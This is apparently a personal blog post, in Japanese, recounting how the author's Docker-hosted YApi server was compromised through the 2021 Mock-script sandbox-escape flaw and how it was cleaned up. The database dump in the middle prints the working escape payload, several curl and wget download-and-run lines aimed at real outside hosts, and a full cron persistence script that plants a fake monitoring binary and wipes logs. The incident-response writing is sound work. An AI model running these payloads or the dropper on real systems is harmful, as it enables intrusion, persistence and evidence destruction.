今日は OPPO モールの学生認証のために教育用メールボックスにアクセスしました。メールボックスの検証中に、受信トレイに意味不明な返送メールがたくさん届いていることに気付きました。そして送信トレイを見てみると、広告が大量に送信されていることがわかり、大事になりそうな予感がしました。
送信トレイをざっと見たところ、あるランダムなメールアドレスに YApi 登録成功のメッセージが送信されていることを発見しました。私のパブリックサービスには YApi がデプロイされているので、最近 YApi に脆弱性があったことを思い出しました。
そこで YApi にログインしてみると、登録ユーザーの中に意味不明な文字化けアカウントがたくさん追加されていました。
サーバーは無事なようですが、幸いにも私は Docker で YApi を運用しています。
脆弱性の概要#
専門家に言わせると:
Yapi は効率的で使いやすく、機能豊富な API 管理プラットフォームで、開発者、プロダクト、テスト担当者により優れたインターフェース管理サービスを提供することを目的としています。開発者はプラットフォームが提供するインターフェースデータの書き込みツールと簡単なクリック操作を利用することで、API の作成、公開、維持を容易に行うことができます。
2021 年 7 月 8 日、ユーザーが GitHub に攻撃を受けた関連情報を公開しました。攻撃者はユーザーを登録し、Mock 機能を使用してリモートコマンド実行を実現しました。コマンド実行の原理は、Node.js が
require('vm')
を通じてサンドボックス環境を構築し、攻撃者がプロトタイプチェーンを介してサンドボックス環境の実行コンテキストを変更することで、サンドボックスからの脱出を達成するというものです。vm.runInNewContext("this.constructor.constructor('return process')()")
を使用することで、process オブジェクトを取得できます。
-- 0x4qE@知道创宇 404 实验室 https://paper.seebug.org/1639/
この原文をぜひご覧ください。
さて、解決しましょう#
これは私が初めて脆弱性に直面した経験です。
いくつかの解決策を見ました:
次は脆弱性の利用を防ぎ、損失を止めることです。
バージョンアップ#
Yapi を公式にリリースされた 1.9.3 に更新しました。この新しいバージョンは、より安全な safeify モジュールを使用しており、この脆弱性を効果的に防ぐことができます。
私が使用しているのは https://github.com/fjc0k/docker-YApi です。
docker-compose pull yapi-web \
&& docker-compose down \
&& docker-compose up -d
YAPI ユーザー登録機能の無効化#
docker-compose.yml
で環境変数 YAPI_CLOSE_REGISTER
を true に設定するだけです。
その後、compose を再起動します:
docker-compose restart
モックスクリプトの削除#
まず Mongo のコンテナに入って、データベースに接続し、既存のモックスクリプトを削除します:
docker-compose exec yapi-mongo /bin/bash
mongo
# データベース関連操作
> show dbs
> use yapi
> show tables
すると、ローカルに存在するテーブルが表示され、モックスクリプトを削除する必要があります。まず、どのような Mock スクリプトがあるかを確認します:
> db.adv_mock.find()
# sandbox という文字列を含む mock_script がたくさん表示されます
{ "_id" : 10, "enable" : true, "interface_id" : 327, "mock_script" : "const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami && echo 123456789\").toString()", "project_id" : 59, "uid" : "194", "up_time" : 1601333575, "__v" : 0 }
{ "_id" : 16, "enable" : true, "interface_id" : 332, "mock_script" : "const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami && echo 123456789\").toString()", "project_id" : 67, "uid" : "201", "up_time" : 1601335228, "__v" : 0 }
{ "_id" : 76, "enable" : true, "interface_id" : 742, "mock_script" : "const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()", "project_id" : 179, "uid" : "299", "up_time" : 1625730796, "__v" : 0 }
{ "_id" : 82, "enable" : true, "interface_id" : 772, "mock_script" : "\n const sandbox = this; // コンテキストを取得\n const ObjectConstructor = this.constructor; // Object オブジェクトのコンストラクタを取得\n const FunctionConstructor = ObjectConstructor.constructor; // Function オブジェクトのコンストラクタを取得\n const myfun = FunctionConstructor('return process'); // process グローバル変数を返す関数を構築\n const process = myfun();\n mockJson = process.mainModule.require(\"child_process\").execSync(\"curl -L https://jhx15.zzlxrj.com/Uploads/image/goods/2021-06-07/start.sh | bash -s '46n4YeKAjUp2FcJnx8SFEb5CMK3kMRJ9o9MEuCzWtv2VEF5LYeq6TJKSWV3h4sEj4CQiUmsb2dNMEQcKJZJM8zCYFp7wFoy'\").toString()", "project_id" : 227, "uid" : "355", "up_time" : 1626338890, "__v" : 0 }
{ "_id" : 88, "enable" : true, "interface_id" : 787, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"curl http://47.98.198.11:8015/init.sh | bash\").toString()", "project_id" : 243, "uid" : "383", "up_time" : 1625989857, "__v" : 0 }
{ "_id" : 94, "enable" : true, "interface_id" : 792, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"wget -qO- http://47.98.198.11:8015/init.sh | sh\").toString()", "project_id" : 251, "uid" : "390", "up_time" : 1625991205, "__v" : 0 }
{ "_id" : 100, "enable" : true, "interface_id" : 827, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"wget -qO- http://47.98.198.11:8015/init.sh | sh\").toString()", "project_id" : 267, "uid" : "404", "up_time" : 1626096094, "__v" : 0 }
{ "_id" : 106, "enable" : true, "interface_id" : 832, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"wget -qO- http://47.98.198.11:8015/init.sh | sh\").toString()", "project_id" : 275, "uid" : "411", "up_time" : 1626096134, "__v" : 0 }
{ "_id" : 124, "enable" : true, "interface_id" : 922, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nvar t = process[\"\\x6d\\x61\\x69\\x6e\\x4d\\x6f\\x64\\x75\\x6c\\x65\"][\"\\x72\\x65\\x71\\x75\\x69\\x72\\x65\"](\"\\x63\\x68\\x69\\x6c\\x64\\x5f\\x70\\x72\\x6f\\x63\\x65\\x73\\x73\")\r\nmockJson=t.execSync(\"wget -qO- http://47.98.198.11:8015/cron.sh | sh \").toString()", "project_id" : 315, "uid" : "425", "up_time" : 1626506262, "__v" : 0 }
{ "_id" : 130, "enable" : true, "interface_id" : 992, "mock_script" : "const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"echo 123321vul\").toString()", "project_id" : 387, "uid" : "635", "up_time" : 1626766514, "__v" : 0 }
> db.adv_mock.deleteMany({"mock_script" : {$regex : "sandbox"}})
本当に多くの利用スクリプトがあることがわかります。。。
cron.sh
を開いてみると:
#!/bin/bash
crondir1='/var/spool/cron/'"$USER"
crondir2='/var/spool/cron/crontabs/'"$USER"
chmod 777 /usr/bin/chattr
chmod 777 /bin/chattr
unlock_cron()
{
chattr -ia /etc/crontab
chattr -R -ia /var/spool/cron
chattr -R -ia /var/spool/cron/crontabs
chattr -R -ia /etc/cron.d
}
lock_cron()
{
chattr +ia ${crondir1}
chattr +ia ${crondir2}
chattr +ia /etc/cron.d/zabbix_client
}
rtdir="/etc/zabbix_flag"
echo 1 > ${rtdir}
if [ -f "$rtdir" ]
then
mv /tmp/zabbix_client /etc/zabbix_client
unlock_cron
cat ${crondir1} | grep -E -v "^#" | grep -q "zabbix_client" || echo "*/30 * * * * /etc/zabbix_client >/dev/null 2>&1" >> ${crondir1}
cat ${crondir2} | grep -E -v "^#" | grep -q "zabbix_client" || echo "*/30 * * * * /etc/zabbix_client >/dev/null 2>&1" >> ${crondir2}
cat /etc/cron.d/zabbix_client | grep -E -v "^#" | grep -q "zabbix_client" || echo "*/40 * * * * root /etc/zabbix_client >/dev/null 2>&1" >> /etc/cron.d/zabbix_client
cat /etc/crontab | grep -E -v "^#" | grep -q "zabbix_client" || echo "0 * * * * root /etc/zabbix_client >/dev/null 2>&1" >> /etc/crontab
crontab -l | grep -E -v "^#" | grep -q "zabbix_client" || (crontab -l ; echo "*/30 * * * * /etc/zabbix_client >/dev/null 2>&1") | crontab -
lock_cron
chmod 777 /etc/zabbix_client
chattr +ia /etc/zabbix_client
else
unlock_cron
crontab -l | grep -E -v "^#" | grep -q "zabbix_client" || (crontab -l ; echo "*/30 * * * * /tmp/zabbix_client >/dev/null 2>&1") | crontab -
lock_cron
chmod 777 /tmp/zabbix_client
chattr +ia /tmp/zabbix_client
fi
iptables -A OUTPUT -p tcp -j ACCEPT
history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history
chmod 444 /usr/bin/chattr
chmod 444 /bin/chattr
rm /etc/zabbix_flag
rm cron.sh
rabbix とは何かを調べてみると:IT コンポーネントやサービス(ネットワーク、サーバー、VM、アプリケーション、クラウドなど)のリアルタイム監視です。
しかし、Docker の利点がここで発揮されました。docker-compose を停止して再起動すると、すべての利用は無くなりました。
後記#
この脆弱性については以前からニュースを見ていましたが、自分に起こるとは思いませんでした...
記録を見てみると、6 月 4 日には新しい YApi アカウントが登録されており、止血が遅すぎました。
幸いにも、コンテナ内で実行されているサービスだったため、大きな損失はありませんでした。